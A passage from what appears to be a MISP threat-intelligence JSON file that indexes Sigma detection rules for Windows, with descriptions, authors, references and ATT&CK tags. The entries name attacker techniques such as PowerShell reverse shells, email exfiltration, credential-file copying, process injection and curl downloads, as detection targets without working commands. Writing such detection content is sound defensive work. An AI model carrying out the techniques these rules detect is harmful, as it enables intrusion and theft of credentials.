"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_muddywater_dnstunnel.yml" ], "tags": [ "attack.command_and_control", "attack.t1071.004" ] }, "related": [ { "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "36222790-0d43-4fe8-86e4-674b27809543", "value": "DNS Tunnel Technique from MuddyWater" }, { "description": "Detects usage of attrib.exe to hide files from users.", "meta": { "author": "Sami Ruohonen", "creation_date": "2019/01/16", "falsepositive": [ "IgfxCUIService.exe hiding *.cui files via .bat script (attrib.exe a child of cmd.exe and igfxCUIService.exe is the parent of the cmd.exe)", "Msiexec.exe hiding desktop.ini" ], "filename": "proc_creation_win_attrib_hiding_files.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_hiding_files.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564.001" ] }, "related": [ { "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4281cb20-2994-4580-aa63-c8b86d019934", "value": "Hiding Files with Attrib.exe" }, { "description": "Detects when the registration of a VSS/VDS Provider as a COM+ application.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/11/05", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_registration_via_cscript.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://ss64.com/vb/cscript.html", "https://twitter.com/sblmsrsn/status/1456613494783160325?s=20", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_registration_via_cscript.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "28c8f68b-098d-45af-8d43-8089f3e35403", "value": "Suspicious Registration via cscript.exe" }, { "description": "Detects email exfiltration via powershell cmdlets", "meta": { "author": "Nasreddine Bencherchali (rule), Azure-Sentinel (idea)", "creation_date": "2022/09/09", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_email_exfil_via_powershell.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/Azure/Azure-Sentinel/blob/7e6aa438e254d468feec061618a7877aa528ee9f/Hunting%20Queries/Microsoft%20365%20Defender/Ransomware/DEV-0270/Email%20data%20exfiltration%20via%20PowerShell.yaml", "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_email_exfil_via_powershell.yml" ], "tags": [ "attack.exfiltration" ] }, "uuid": "312d0384-401c-4b8b-abdf-685ffba9a332", "value": "Email Exifiltration Via Powershell" }, { "description": "Detects a suspicious program execution in a web service root folder (filter out false positives)", "meta": { "author": "Florian Roth", "creation_date": "2019/01/16", "falsepositive": [ "Various applications", "Tools that include ping or nslookup command invocations" ], "filename": "proc_creation_win_susp_execution_path_webserver.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_execution_path_webserver.yml" ], "tags": [ "attack.persistence", "attack.t1505.003" ] }, "uuid": "35efb964-e6a5-47ad-bbcd-19661854018d", "value": "Execution in Webserver Root Folder" }, { "description": "Detects usage of namp/zenmap. Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation", "meta": { "author": "frack113", "creation_date": "2021/12/10", "falsepositive": [ "Network administrator computer" ], "filename": "proc_creation_win_nmap_zenmap.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-3---port-scan-nmap-for-windows", "https://nmap.org/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nmap_zenmap.yml" ], "tags": [ "attack.discovery", "attack.t1046" ] }, "uuid": "f6ecd1cf-19b8-4488-97f6-00f0924991a3", "value": "Nmap/Zenmap Execution" }, { "description": "Detects suspicious execution of 'Powercfg.exe' to change lock screen timeout", "meta": { "author": "frack113", "creation_date": "2022/11/18", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_powercfg.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/powercfg-command-line-options", "https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powercfg.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "f8d6a15e-4bc8-4c27-8e5d-2b10f0b73e5b", "value": "Suspicious Powercfg Execution To Change Lock Screen Timeout" }, { "description": "Detects suspicious flags used by PsExec and PAExec to escalate a command line to LOCAL_SYSTEM rights", "meta": { "author": "Florian Roth, Nasreddine Bencherchali", "creation_date": "2021/11/23", "falsepositive": [ "Admins that use PsExec or PAExec to escalate to the SYSTEM account for maintenance purposes (rare)", "Users that debug Microsoft Intune issues using the commands mentioned in the official documentation; see https://learn.microsoft.com/en-us/mem/intune/apps/intune-management-extension" ], "filename": "proc_creation_win_susp_psexex_paexec_escalate_system.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", "https://www.poweradmin.com/paexec/", "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexex_paexec_escalate_system.yml" ], "tags": [ "attack.resource_development", "attack.t1587.001" ] }, "related": [ { "dest-uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8834e2f7-6b4b-4f09-8906-d2276470ee23", "value": "PsExec/PAExec Escalation to LOCAL SYSTEM" }, { "description": "Detects suspicious sysprep process start with AppData folder as target (as used by Trojan Syndicasec in Thrip report by Symantec)", "meta": { "author": "Florian Roth", "creation_date": "2018/06/22", "falsepositive": [ "False positives depend on scripts and administrative tools used in the monitored environment" ], "filename": "proc_creation_win_susp_sysprep_appdata.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets", "https://app.any.run/tasks/61a296bb-81ad-4fee-955f-3b399f4aaf4b", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sysprep_appdata.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d5b9ae7a-e6fc-405e-80ff-2ff9dcc64e7e", "value": "Sysprep on AppData Folder" }, { "description": "Detects a suspicious Microsoft desktopimgdownldr execution with parameters used to download files from the Internet", "meta": { "author": "Florian Roth", "creation_date": "2020/07/03", "falsepositive": [ "False positives depend on scripts and administrative tools used in the monitored environment" ], "filename": "proc_creation_win_susp_desktopimgdownldr.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/", "https://twitter.com/SBousseaden/status/1278977301745741825", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_desktopimgdownldr.yml" ], "tags": [ "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "bb58aa4a-b80b-415a-a2c0-2f65a4c81009", "value": "Suspicious Desktopimgdownldr Command" }, { "description": "Detects use of Wlrmdr.exe in which the -u parameter is passed to ShellExecute", "meta": { "author": "frack113, manasmbellani", "creation_date": "2022/02/16", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_wlrmdr.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/0gtweet/status/1493963591745220608?s=20&t=xUg9DsZhJy1q9bPTUWgeIQ", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_wlrmdr.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9cfc00b6-bfb7-49ce-9781-ef78503154bb", "value": "Wlrmdr Lolbin Use as Launcher" }, { "description": "Detects execution of a renamed version of the \"Mavinject\" process. Which can be abused to perform process injection using the \"/INJECTRUNNING\" flag", "meta": { "author": "frack113, Florian Roth", "creation_date": "2022/12/05", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_renamed_mavinject.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/Hexacorn/status/776122138063409152", "https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", "https://github.com/SigmaHQ/sigma/issues/3742", "https://github.com/keyboardcrunch/SentinelOne-ATTACK-Queries/blob/6a228d23eefe963ca81f2d52f94b815f61ef5ee0/Tactics/DefenseEvasion.md#t1055-process-injection", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.004/T1056.004.md", "https://twitter.com/gN3mes1s/status/941315826107510784", "https://reaqta.com/2017/12/mavinject-microsoft-injector/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_mavinject.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1055.001", "attack.t1218.013" ] }, "related": [ { "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1bae753e-8e52-4055-a66d-2ead90303ca9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e6474a1b-5390-49cd-ab41-8d88655f7394", "value": "Rename Mavinject Execution" }, { "description": "Detects usage of the \"TcpClient\" class. Which can be abused to establish remote connections and reverse-shells. As seen used by the Nishang \"Invoke-PowerShellTcpOneLine\" reverse shell.", "meta": { "author": "FPT.EagleEye, wagga", "creation_date": "2021/03/03", "falsepositive": [ "Administrative might use this function to check network connectivity" ], "filename": "proc_creation_win_powershell_reverse_shell_connection.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Shells/Invoke-PowerShellTcpOneLine.ps1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_reverse_shell_connection.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "edc2f8ae-2412-4dfd-b9d5-0c57727e70be", "value": "Potential Powershell ReverseShell Connection" }, { "description": "Detects using Diskshadow.exe to execute arbitrary code in text file", "meta": { "author": "Ivan Dyachkov, oscd.community", "creation_date": "2020/10/07", "falsepositive": [ "False postitve can be if administrators use diskshadow tool in their infrastructure as a main backup tool with scripts." ], "filename": "proc_creation_win_susp_diskshadow.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", "https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_diskshadow.yml" ], "tags": [ "attack.execution", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0c2f8629-7129-4a8a-9897-7e0768f13ff2", "value": "Execution via Diskshadow.exe" }, { "description": "Detects when a user enable developer features such as \"Developer Mode\" or \"Application Sideloading\". Which allows the user to install untrusted packages.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2023/01/11", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_turn_on_dev_features.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/", "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_turn_on_dev_features.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "a383dec4-deec-4e6e-913b-ed9249670848", "value": "Potential Signing Bypass Via Windows Developer Features" }, { "description": "Detects netsh commands that configure a port forwarding (PortProxy)", "meta": { "author": "Florian Roth, omkar72, oscd.community", "creation_date": "2019/01/29", "falsepositive": [ "Legitimate administration", "WSL2 network bridge PowerShell script used for WSL/Kubernetes/Docker (e.g. https://github.com/microsoft/WSL/issues/4150#issuecomment-504209723)" ], "filename": "proc_creation_win_netsh_port_fwd.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.dfirnotes.net/portproxy_detection/", "https://adepts.of0x.cc/netsh-portproxy-code/", "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_port_fwd.yml" ], "tags": [ "attack.lateral_movement", "attack.defense_evasion", "attack.command_and_control", "attack.t1090" ] }, "related": [ { "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "322ed9ec-fcab-4f67-9a34-e7c6aef43614", "value": "Netsh Port Forwarding" }, { "description": "Detects msdt.exe executed by a suspicious parent as seen in CVE-2022-30190 / Follina exploitation", "meta": { "author": "Nextron Systems", "creation_date": "2022/06/01", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_msdt_susp_parent.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/", "https://twitter.com/nao_sec/status/1530196847679401984", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_susp_parent.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7a74da6b-ea76-47db-92cc-874ad90df734", "value": "MSDT Executed with Suspicious Parent" }, { "description": "Detects a set of suspicious network related commands often used in recon stages", "meta": { "author": "Florian Roth", "creation_date": "2022/02/07", "falsepositive": [ "False positives depend on scripts and administrative tools used in the monitored environment" ], "filename": "proc_creation_win_susp_recon_network_activity.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_recon_network_activity.yml" ], "tags": [ "attack.discovery", "attack.t1087", "attack.t1082", "car.2016-03-001" ] }, "uuid": "e6313acd-208c-44fc-a0ff-db85d572e90e", "value": "Network Reconnaissance Activity" }, { "description": "Detects the PowerShell command lines with special characters", "meta": { "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp)", "creation_date": "2020/10/15", "falsepositive": [ "Unlikely", "Amazon SSM Document Worker", "Windows Defender ATP" ], "filename": "proc_creation_win_powershell_cmdline_special_characters.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=64", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_special_characters.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d7bcd677-645d-4691-a8d4-7a5602b780d1", "value": "Suspicious PowerShell Command Line" }, { "description": "Detects the invocation of the Stored User Names and Passwords dialogue (Key Manager)", "meta": { "author": "Florian Roth", "creation_date": "2022/04/21", "falsepositive": [ "Administrative activity" ], "filename": "proc_creation_win_susp_rundll32_keymgr.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/NinjaParanoid/status/1516442028963659777", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_keymgr.yml" ], "tags": [ "attack.credential_access", "attack.t1555.004" ] }, "related": [ { "dest-uuid": "d336b553-5da9-46ca-98a8-0b23f49fb447", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a4694263-59a8-4608-a3a0-6f8d3a51664c", "value": "Suspicious Key Manager Access" }, { "description": "Detects Netsh commands that allows a suspcious application location on Windows Firewall", "meta": { "author": "Sander Wiebing, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", "creation_date": "2020/05/25", "falsepositive": [ "Legitimate administration" ], "filename": "proc_creation_win_netsh_fw_add_susp_image.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.hybrid-analysis.com/sample/07e789f4f2f3259e7559fdccb36e96814c2dbff872a21e1fa03de9ee377d581f?environmentId=100", "https://www.virusradar.com/en/Win32_Kasidet.AD/description", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_add_susp_image.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.004" ] }, "related": [ { "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a35f5a72-f347-4e36-8895-9869b0d5fc6d", "value": "Netsh Program Allowed with Suspcious Location" }, { "description": "Detects activity mentioned in Operation Wocao report", "meta": { "author": "Florian Roth, frack113", "creation_date": "2019/12/20", "falsepositive": [ "Administrators that use checkadmin.exe tool to enumerate local administrators" ], "filename": "proc_creation_win_apt_wocao.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/", "https://twitter.com/SBousseaden/status/1207671369963646976", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_wocao.yml" ], "tags": [ "attack.discovery", "attack.t1012", "attack.defense_evasion", "attack.t1036.004", "attack.t1027", "attack.execution", "attack.t1053.005", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1cfac73c-be78-4f9a-9b08-5bde0c3953ab", "value": "Operation Wocao Activity" }, { "description": "Local accounts, System Owner/User discovery using operating systems utilities", "meta": { "author": "Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community", "creation_date": "2019/10/21", "falsepositive": [ "Legitimate administrator or user enumerates local users for legitimate reason" ], "filename": "proc_creation_win_local_system_owner_account_discovery.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_local_system_owner_account_discovery.yml" ], "tags": [ "attack.discovery", "attack.t1033", "attack.t1087.001" ] }, "related": [ { "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "502b42de-4306-40b4-9596-6f590c81f073", "value": "Local Accounts Discovery" }, { "description": "This rule will monitor any office apps that spins up a new LOLBin process. This activity is pretty suspicious and should be investigated.", "meta": { "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Michael Haag, Christopher Peacock @securepeacock (Update), SCYTHE @scythe_io (Update)", "creation_date": "2021/08/23", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbins_by_office_applications.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/splunk/security_content/blob/develop/detections/endpoint/office_spawning_control.yml", "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set", "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e", "https://twitter.com/andythevariable/status/1576953781581144064?s=20&t=QiJILvK4ZiBdR8RJe24u-A", "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbins_by_office_applications.yml" ], "tags": [ "attack.t1204.002", "attack.t1047", "attack.t1218.010", "attack.execution", "attack.defense_evasion" ] }, "related": [ { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "23daeb52-e6eb-493c-8607-c4f0246cb7d8", "value": "New Lolbin Process by Office Applications" }, { "description": "Detects a suspicious child process of a Microsoft HTML Help system when executing compiled HTML files (.chm)", "meta": { "author": "Maxim Pavlunin", "creation_date": "2020/04/01", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_html_help_spawn.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-27939090904026cc396b0b629c8e4314acd6f5dac40a676edbc87f4567b47eb7", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_html_help_spawn.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.001", "attack.t1218.010", "attack.t1218.011", "attack.execution", "attack.t1059.001", "attack.t1059.003", "attack.t1059.005", "attack.t1059.007", "attack.t1047", "attack.t1566", "attack.t1566.001", "attack.initial_access", "attack.t1218" ] }, "related": [ { "dest-uuid": "a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "52cad028-0ff0-4854-8f67-d25dfcbc78b4", "value": "HTML Help Shell Spawn" }, { "description": "Detects service path modification via the \"sc\" binary to a suspicious command or path", "meta": { "author": "Victor Sergeev, oscd.community, Nasreddine Bencherchali (update)", "creation_date": "2019/10/21", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_susp_service_path_modification.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md", "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_path_modification.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.t1543.003" ] }, "uuid": "138d3531-8793-4f50-a2cd-f291b2863d78", "value": "Suspicious Service Path Modification" }, { "description": "Files with well-known filenames (sensitive files with credential data) copying", "meta": { "author": "Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", "creation_date": "2019/10/22", "falsepositive": [ "Copying sensitive files for legitimate use (eg. backup) or forensic investigation by legitimate incident responder or forensic invetigator" ], "filename": "proc_creation_win_copying_sensitive_files_with_credential_data.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/", "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", "https://room362.com/post/2013/2013-06-10-volume-shadow-copy-ntdsdit-domain-hashes-remotely-part-1/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_copying_sensitive_files_with_credential_data.yml" ], "tags": [ "attack.credential_access", "attack.t1003.002", "attack.t1003.003", "car.2013-07-001", "attack.s0404" ] }, "related": [ { "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e7be6119-fc37-43f0-ad4f-1f3f99be2f9f", "value": "Copying Sensitive Files with Credential Data" }, { "description": "Detects a suspicious curl process start on Windows and outputs the requested document to a local file", "meta": { "author": "Florian Roth, Nasreddine Bencherchali", "creation_date": "2020/07/03", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_curl_download.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/max_mal_/status/1542461200797163522", "https://web.archive.org/web/20200128160046/https://twitter.com/reegun21/status/1222093798009790464", "https://github.com/pr0xylife/Qakbot/blob/4f0795d79dabee5bc9dd69f17a626b48852e7869/Qakbot_AA_23.06.2022.txt", "https://www.volexity.com/blog/2022/07/28/sharptongue-deploys-clever-mail-stealing-browser-extension-sharpext/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_download.yml" ], "tags": [ "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e218595b-bbe7-4ee5-8a96-f32a24ad3468", "value": "Suspicious Curl Usage on Windows" }, { "description": "Detects the execution of format.com with a suspicious filesystem selection that could indicate a 